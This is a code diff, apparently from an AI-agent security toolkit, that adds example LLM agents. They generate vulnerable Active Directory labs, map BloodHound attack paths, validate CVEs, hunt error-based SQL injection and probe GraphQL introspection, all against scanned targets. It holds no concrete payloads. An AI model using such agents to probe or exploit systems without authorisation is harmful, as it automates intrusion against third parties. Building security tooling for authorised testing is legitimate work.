trial.suggest_int( + "Windows 10 Enterprise", 1, 40 + ) + + config["DC"]["enabled"] = trial.suggest_int("DC_enabled", 1, 100) + config["DC"]["haslaps"] = trial.suggest_int("DC_haslaps", 1, 50) + config["DC"]["osProbability"]["Windows Server 2003 Enterprise Edition"] = trial.suggest_int( + "DC_Windows Server 2003 Enterprise Edition", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 Standard"] = trial.suggest_int( + "DC_Windows Server 2008 Standard", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2008 Datacenter", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 Enterprise"] = trial.suggest_int( + "DC_Windows Server 2008 Enterprise", 1, 10 + ) + config["DC"]["osProbability"]["Windows Server 2008 R2 Standard"] = trial.suggest_int( + "DC_Windows Server 2008 R2 Standard", 1, 20 + ) + config["DC"]["osProbability"]["Windows Server 2008 R2 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2008 R2 Datacenter", 1, 20 + ) + config["DC"]["osProbability"]["Windows Server 2008 R2 Enterprise"] = trial.suggest_int( + "DC_Windows Server 2008 R2 Enterprise", 1, 20 + ) + config["DC"]["osProbability"]["Windows Server 2012 Standard"] = trial.suggest_int( + "DC_Windows Server 2012 Standard", 1, 30 + ) + config["DC"]["osProbability"]["Windows Server 2012 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2012 Datacenter", 1, 30 + ) + config["DC"]["osProbability"]["Windows Server 2012 R2 Standard"] = trial.suggest_int( + "DC_Windows Server 2012 R2 Standard", 1, 40 + ) + config["DC"]["osProbability"]["Windows Server 2012 R2 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2012 R2 Datacenter", 1, 40 + ) + config["DC"]["osProbability"]["Windows Server 2016 Standard"] = trial.suggest_int( + "DC_Windows Server 2016 Standard", 1, 50 + ) + config["DC"]["osProbability"]["Windows Server 2016 Datacenter"] = trial.suggest_int( + "DC_Windows Server 2016 Datacenter", 1, 50 + ) + + config["User"]["nUsers"] = trial.suggest_int("User_nUsers", 50, 1000) + config["User"]["enabled"] = trial.suggest_int("User_enabled", 1, 100) + config["User"]["dontreqpreauth"] = trial.suggest_int("User_dontreqpreauth", 1, 50) + config["User"]["hasspn"] = trial.suggest_int("User_hasspn", 1, 50) + config["User"]["passwordnotreqd"] = trial.suggest_int("User_passwordnotreqd", 1, 50) + config["User"]["pwdneverexpires"] = trial.suggest_int("User_pwdneverexpires", 1, 100) + config["User"]["sidhistory"] = trial.suggest_int("User_sidhistory", 1, 50) + config["User"]["unconstraineddelegation"] = trial.suggest_int( + "User_unconstraineddelegation", 1, 50 + ) + config["User"]["savedcredentials"] = trial.suggest_int("User_savedcredentials", 1, 50) + + config["OU"]["nOUs"] = trial.suggest_int("OU_nOUs", 10, 200) + + config["GPO"]["nGPOs"] = trial.suggest_int("GPO_nGPOs", 10, 100) + config["GPO"]["exploitable"] = trial.suggest_int("GPO_exploitable", 1, 50) + + config["Group"]["nGroups"] = trial.suggest_int("Group_nGroups", 50, 200) + config["Group"]["nestingGroupProbability"] = trial.suggest_int( + "Group_nestingGroupProbability", 1, 50 + ) + config["Group"]["departmentProbability"]["IT"] = trial.suggest_int("Group_IT", 1, 50) + config["Group"]["departmentProbability"]["HR"] = trial.suggest_int("Group_HR", 1, 50) + config["Group"]["departmentProbability"]["MARKETING"] = trial.suggest_int( + "Group_MARKETING", 1, 50 + ) + config["Group"]["departmentProbability"]["OPERATIONS"] = trial.suggest_int( + "Group_OPERATIONS", 1, 50 + ) + config["Group"]["departmentProbability"]["BIDNESS"] = trial.suggest_int( + "Group_BIDNESS", 1, 50 + ) + + config["ACLs"]["ACLPrincipalsPercentage"] = trial.suggest_int( + "ACLs_ACLPrincipalsPercentage", 1, 100 + ) + config["ACLs"]["ACLsProbability"]["GenericAll"] = trial.suggest_int( + "ACLs_GenericAll", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["GenericWrite"] = trial.suggest_int( + "ACLs_GenericWrite", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["WriteOwner"] = trial.suggest_int( + "ACLs_WriteOwner", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["WriteDacl"] = trial.suggest_int("ACLs_WriteDacl", 1, 50) + config["ACLs"]["ACLsProbability"]["AddMember"] = trial.suggest_int("ACLs_AddMember", 1, 50) + config["ACLs"]["ACLsProbability"]["ForceChangePassword"] = trial.suggest_int( + "ACLs_ForceChangePassword", 1, 50 + ) + config["ACLs"]["ACLsProbability"]["ReadLAPSPassword"] = trial.suggest_int( + "ACLs_ReadLAPSPassword", 1, 50 + ) + + try: + env.parameters = config + env.generate() + return True + except Exception as error: + print(f"[!] Failed to generate! {error}") + return False + + return objective + + +def task_generate_environment(url, username, password, domain): + print("Generating environment") + print(f"URL: {url}") + print(f"Username: {username}") + print(f"Password: {password}") + print(f"Domain: {domain}") + + env = MainMenu(url=url, username=username, password=password, domain=domain) + + try: + env.connect() + print("[+] Successfully connected!") + except Exception as error: + print(f"[!] Failed to connect! {error}") + + try: + env.generate() + print("[+] Done!") + except Exception as error: + print(f"[!] Failed to generate! {error}") + + +if __name__ == "__main__": + fire.Fire(task_generate_environment) diff --git a/examples/agents/bloodhound/agent.py b/examples/agents/bloodhound/agent.py new file mode 100644 index 00000000..940f9a93 --- /dev/null +++ b/examples/agents/bloodhound/agent.py @@ -0,0 +1,26 @@ +import asyncio + +from rich.console import Console + +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.bloodhound.tool import BloodhoundTool + +console = Console() + + +async def create_agent(): + return Agent( + name="bloodhound-agent", + description="An agent that uses Bloodhound to perform various tasks.", + model="gpt-4", + tools=[await BloodhoundTool()], + ) + + +async def main() -> None: + agent = await create_agent() + await agent.run("Given the current user, what paths are available to me?") + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/agents/cve_validator/__init__.py b/examples/agents/cve_validator/__init__.py new file mode 100644 index 00000000..283ec975 --- /dev/null +++ b/examples/agents/cve_validator/__init__.py @@ -0,0 +1 @@ +# CVE Validator Agent \ No newline at end of file diff --git a/examples/agents/cve_validator/agent.py b/examples/agents/cve_validator/agent.py new file mode 100644 index 00000000..ec2a0274 --- /dev/null +++ b/examples/agents/cve_validator/agent.py @@ -0,0 +1,287 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(project="cve-validator-agent") + +console = Console() + + +@dn.task(name="Validate CVE", label="validate_cve", log_output=True) +async def validate_cve_finding(finding_data: dict) -> dict: + """Validate a CVE finding for exploitability.""" + + host = finding_data.get('host', '') + description = finding_data.get('data', {}).get('description', '') + cve_id = extract_cve_from_description(description) + + console.print(f"[cyan]Validating CVE finding for: {host}[/cyan]") + console.print(f"CVE: {cve_id}") + console.print(f"Description: {description}") + + dn.log_input("finding_data", finding_data) + dn.log_input("cve_id", cve_id) + dn.log_input("target_host", host) + + try: + agent = create_cve_validator_agent() + + analysis_task = f""" + Validate the CVE {cve_id} on target {host}. + + IMPORTANT: You must first lookup the actual CVE details from authoritative sources. + + Your task: + 1. Use http_request to query CVE databases. Try these sources in order: + - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id} (NVD API) + - https://cveawg.mitre.org/api/cve/{cve_id} (MITRE API) + - https://cve.circl.lu/api/cve/{cve_id} (CIRCL API) + 2. Parse the JSON response to extract CVE description, affected software, and attack vectors + 3. Based on the ACTUAL CVE details, determine if this vulnerability applies to the target + 4. If applicable, use appropriate tools to probe the target for this specific vulnerability + 5. If exploitable, store the finding using store_cve_finding + + DO NOT rely on training data for CVE details - always lookup the CVE first using APIs. + Be thorough in your testing and provide clear evidence for your conclusion. + """ + + result = await agent.run(analysis_task) + + tool_outputs = {} + tools_used = [] + analysis_parts = [] + + if hasattr(result, 'messages') and result.messages: + for message in result.messages: + if message.role == "assistant" and message.content: + analysis_parts.append(message.content) + console.print(f"[yellow]Agent analysis:[/yellow] {message.content}") + elif message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tools_used.append(tool_call.function.name) + console.print(f"[blue]Tool call:[/blue] {tool_call.function.name}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[green]Tool output from {tool_name}:[/green] {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_cve_finding" in tools_used + is_exploitable = finding_stored + + if result.messages and result.messages[-1].content: + final_analysis = result.messages[-1].content.lower() + is_exploitable = is_exploitable or any( + phrase in final_analysis + for phrase in [ + "exploitable", + "vulnerable", + "confirmed", + "successfully exploited" + ] + ) + + analysis_result = "\n\n".join(analysis_parts) if analysis_parts else "CVE validation completed" + + dn.log_metric("cve_validated", 1) + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("is_exploitable", 1 if is_exploitable else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + + console.print(f"[green]Validation complete for {cve_id} on {host}[/green]") + console.print(f"Exploitable: {is_exploitable}") + console.print(f"Tools used: {len(tools_used)}") + console.print(f"Stored in DB: {finding_stored}") + + return { + "host": host, + "cve_id": cve_id, + "is_exploitable": is_exploitable, + "analysis": analysis_result, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "stored_in_db": finding_stored, + "original_finding": finding_data, + "timestamp": time.time() + } + + except Exception as e: + console.print(f"[red]Error validating CVE {cve_id} on {host}: {e}[/red]") + return {"error": str(e), "host": host, "cve_id": cve_id} + + +def extract_cve_from_description(description: str) -> str: + """Extract CVE ID from description.""" + import re + cve_match = re.search(r'CVE-\d{4}-\d+', description) + return cve_match.group(0) if cve_match else "UNKNOWN-CVE" + + +def create_cve_validator_agent() -> Agent: + """Create a CVE validation agent.""" + tools = [KaliTool(), Neo4jTool(), BBotTool(), OastTool()] + + return Agent( + name="cve-validator-agent", + description="Validates CVE findings for exploitability", + model="gpt-4-turbo", + tools=tools, + max_steps=10, + instructions="""You are a security researcher specializing in CVE validation and exploitation. + +Your job is to: +- Lookup actual CVE details from authoritative sources (NEVER rely on training data) +- Use available tools to probe targets for specific CVE vulnerabilities +- Determine if targets are exploitable based on evidence +- Store confirmed exploitable findings in Neo4j + +Available tools: +- http_request: Make HTTP requests to CVE databases and target systems +- curl: Test endpoints with specific CVE payloads +- store_cve_finding: Store confirmed CVE exploits in Neo4j +- nmap: Port scanning and service detection +- dig_dns_lookup: DNS queries for reconnaissance + +Be systematic in your approach: +1. FIRST: Use http_request to lookup CVE details from APIs: + - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-XXXX-XXXX (NVD API) + - https://cveawg.mitre.org/api/cve/CVE-XXXX-XXXX (MITRE API) + - https://cve.circl.lu/api/cve/CVE-XXXX-XXXX (CIRCL API) +2. Parse JSON response to get accurate CVE description and affected software +3. Based on ACTUAL CVE data, determine if vulnerability applies to target +4. If applicable, craft appropriate test requests/payloads +5. Analyze responses for vulnerability indicators +6. Only mark as exploitable with clear evidence +7. Store findings when exploitation is confirmed + +CRITICAL: Always lookup CVE details first using APIs - do not guess or use training data.""", + ) + + +async def validate_from_file(findings_file: Path) -> None: + """Validate CVEs from a file of findings.""" + + if not findings_file.exists(): + console.print(f"Error: File {findings_file} not found") + return + + findings = [] + with findings_file.open() as f: + for line in f: + line = line.strip() + if line and not line.startswith('#'): + try: + finding = json.loads(line) + findings.append(finding) + except json.JSONDecodeError: + console.print(f"[yellow]Skipping invalid JSON line: {line[:50]}...[/yellow]") + + if not findings: + console.print("No valid findings found in file") + return + + console.print(f"Validating CVEs for {len(findings)} findings...") + + with dn.run("cve-validation-batch"): + results = [] + for i, finding in enumerate(findings, 1): + console.print(f"\n[{i}/{len(findings)}] Processing finding...") + result = await validate_cve_finding(finding) + results.append(result) + + successful = len([r for r in results if "error" not in r]) + exploitable = len([r for r in results if r.get("is_exploitable")]) + stored = len([r for r in results if r.get("stored_in_db")]) + + dn.log_metric("total_findings", len(findings)) + dn.log_metric("successful_validations", successful) + dn.log_metric("exploitable_cves", exploitable) + dn.log_metric("stored_findings", stored) + + console.print(f"\n[bold]Validation Summary:[/bold]") + console.print(f" Findings processed: {len(findings)}") + console.print(f" Successful validations: {successful}") + console.print(f" Exploitable CVEs: {exploitable}") + console.print(f" Stored in DB: {stored}") + + +async def main() -> None: + parser = argparse.ArgumentParser(description="CVE Validation Agent") + subparsers = parser.add_subparsers(dest="command") + + # Validate from file + file_parser = subparsers.add_parser("validate", help="Validate CVEs from findings file") + file_parser.add_argument("findings_file", type=Path, help="JSON file containing findings (one per line)") + + # Single finding validation + single_parser = subparsers.add_parser("analyze", help="Analyze single finding") + single_parser.add_argument("finding_json", help="JSON string of finding to analyze") + + args = parser.parse_args() + + if args.command == "validate": + await validate_from_file(args.findings_file) + elif args.command == "analyze": + try: + finding = json.loads(args.finding_json) + with dn.run("single-cve-validation"): + result = await validate_cve_finding(finding) + if "error" not in result: + console.print(f"[green]✓[/green] Validation complete") + else: + console.print(f"[red]✗[/red] {result['error']}") + except json.JSONDecodeError: + console.print("[red]Error: Invalid JSON provided[/red]") + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/error_based_sqli/agent.py b/examples/agents/error_based_sqli/agent.py new file mode 100644 index 00000000..d0869387 --- /dev/null +++ b/examples/agents/error_based_sqli/agent.py @@ -0,0 +1,287 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +dn.configure(server=None, token=None, project="error-based-sqli-agent", console=False) + +console = Console() + +@dn.task(name="Analyze Error-Based SQLi Finding", label="analyze_error_sqli_finding") +async def analyze_sqli_finding(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze a BBOT SQL injection finding for error-based exploitability.""" + sqli_agent = create_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + param_type = extract_param_type(description) + original_value = extract_original_value(description) + + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Focus on ERROR-BASED SQL injection techniques. Test for database errors that leak information. " + f"Start simple and adapt based on error messages you receive." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "error-based injection confirmed", + "database error detected", + "mysql error", + "postgresql error", + "oracle error", + "mssql error", + "sql syntax error", + "database version extracted", + "error message leaked", + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_error_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + + analysis_result = { + "url": url, + "host": host, + "parameter": param_name, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "original_finding": finding_data + } + + return analysis_result + +def create_sqli_agent() -> Agent: + """Create an error-based SQL injection analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] + + return Agent( + name="error-based-sqli-agent", + description="An agent that analyzes and exploits error-based SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting error-based SQL injection vulnerabilities. + +Your mission is to trigger verbose database errors that leak information. Start simple and adapt based on what you discover: + +1. Begin with basic error triggers (single quotes, double quotes, parentheses) +2. Analyze error messages to identify the database type and technology stack +3. Based on the database you identify, craft targeted error-based payloads +4. Extract information progressively through error message analysis +5. Document findings and iterate your approach based on responses + +Use the http_request tool to test payloads systematically. Let the application's responses guide your next steps. + +If you confirm error-based SQL injection exists, use store_sqli_finding to record the vulnerability.""", + ) + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + +def is_sqli_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for error-based SQL injection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + + with dn.run("error-based-sqli-hunt"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting error-based SQL injection hunt on {len(targets)} targets...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "error_based_sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"error_sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"Error-based SQL injection confirmed on {analysis_result['host']}") + else: + console.print(f"Error-based SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("error_based_confirmed", sqli_findings_count) + + console.print(f"Hunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" Error-based SQL injection vulnerabilities confirmed: {sqli_findings_count}") + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file.""" + + with dn.run("error-based-sqli-analyze"): + try: + with finding_file.open() as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + sqli_count = 0 + for finding in findings: + if is_sqli_finding(finding): + analysis_result = await analyze_sqli_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"Error-based SQL injection confirmed") + else: + console.print(f"No error-based SQL injection exploitation possible") + + dn.log_metric("error_based_findings", sqli_count) + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + +async def main() -> None: + parser = argparse.ArgumentParser(description="Error-based SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for error-based SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/filesystem/agent.py b/examples/agents/filesystem/agent.py new file mode 100644 index 00000000..f80c4358 --- /dev/null +++ b/examples/agents/filesystem/agent.py @@ -0,0 +1,19 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.filesystem.tool import FilesystemTool + +agent = Agent( + name="filesystem-agent", + description="An agent that uses filesystem tools to perform various tasks.", + model="gpt-4", + tools=[FilesystemTool(path="/")], +) + + +async def main() -> None: + agent.run("List the files in the root directory.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) diff --git a/examples/agents/graphql_hunter/agent.py b/examples/agents/graphql_hunter/agent.py new file mode 100644 index 00000000..31cf2a35 --- /dev/null +++ b/examples/agents/graphql_hunter/agent.py @@ -0,0 +1,323 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="graphql-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze GraphQL Finding", label="analyze_graphql_finding") +async def analyze_graphql_finding(finding_data: dict) -> dict: + """Analyze a BBOT GraphQL introspection finding for exploitability.""" + graphql_agent = create_graphql_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + console.print(f"[*] Analyzing GraphQL introspection finding on {host}") + console.print(f" URL: {url}") + console.print(f" Description: {description}") + + result = await graphql_agent.run( + f"Analyze the GraphQL introspection vulnerability at {url}. " + f"Test the GraphQL endpoint for introspection capabilities and enumerate the schema. " + f"Use the tools available to you to test systematically using your expertise." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_graphql_finding" in tools_used + endpoint_stored = "store_graphql_endpoint" in tools_used + has_graphql_introspection = finding_stored or endpoint_stored + if result.messages and result.messages[-1].content: + has_graphql_introspection = has_graphql_introspection or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "introspection enabled", + "graphql schema exposed", + "introspection query successful", + "schema introspection available", + "graphql introspection confirmed", + "schema enumeration successful", + "types and fields exposed", + "graphql vulnerability confirmed", + "introspection not disabled" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_graphql_introspection", 1 if has_graphql_introspection else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_metric("endpoint_stored", 1 if endpoint_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "url": url, + "host": host, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_graphql_introspection": has_graphql_introspection, + "stored_in_db": finding_stored, + "endpoint_stored": endpoint_stored, + "original_finding": finding_data + } + + return analysis_result + + +def create_graphql_agent() -> Agent: + """Create a GraphQL introspection vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] + + return Agent( + name="graphql-hunter-agent", + description="An agent that analyzes and exploits GraphQL introspection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting GraphQL introspection vulnerabilities. + +Use the tools available to you to test for GraphQL introspection by sending introspection queries to the GraphQL endpoint. + +Analyze responses for indicators of GraphQL introspection such as: +- Successful introspection queries revealing schema information +- Type definitions and field information exposed +- Query and mutation structures revealed +- Sensitive field names or types that could indicate data exposure risks + +Be thorough and systematic in your testing approach. Use your expertise to craft appropriate introspection queries and analyze the responses. + +If you successfully retrieve GraphQL schema information: +1. Use store_graphql_endpoint to record the endpoint with detailed schema data including types, queries, mutations and their relationships +2. If this represents a security vulnerability (introspection enabled in production), also use store_graphql_finding to record the vulnerability finding + +Focus on extracting and storing comprehensive schema information for analysis.""", + ) + + +def is_graphql_finding(event: dict) -> bool: + """Check if a BBOT event is a GraphQL introspection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'GraphQL' in description or 'introspection' in description.lower() + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for GraphQL introspection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + with dn.run("graphql-hunt-from-bbot"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting GraphQL introspection hunt on {len(targets)} targets using BBOT scan...") + + graphql_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "graphql_introspection"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for GraphQL introspection...") + + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_graphql_finding(event): + total_findings += 1 + console.print(f"Found GraphQL introspection candidate on {event.get('host')}") + + try: + analysis_result = await analyze_graphql_finding(event) + + if analysis_result["has_graphql_introspection"]: + graphql_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "finding_type": "graphql_introspection", + "risk_level": "medium", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"graphql_finding_{analysis_result['host']}", security_finding) + console.print(f"GRAPHQL INTROSPECTION CONFIRMED on {analysis_result['host']}") + else: + console.print(f"GraphQL introspection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing GraphQL introspection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("graphql_confirmed", graphql_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" GraphQL introspection candidates found: {total_findings}") + console.print(f" GraphQL introspection vulnerabilities confirmed: {graphql_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze GraphQL introspection findings from a JSON file (for testing).""" + + with dn.run("graphql-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + graphql_count = 0 + for finding in findings: + if is_graphql_finding(finding): + console.print(f"[*] Analyzing GraphQL introspection finding...") + analysis_result = await analyze_graphql_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_graphql_introspection"]: + graphql_count += 1 + 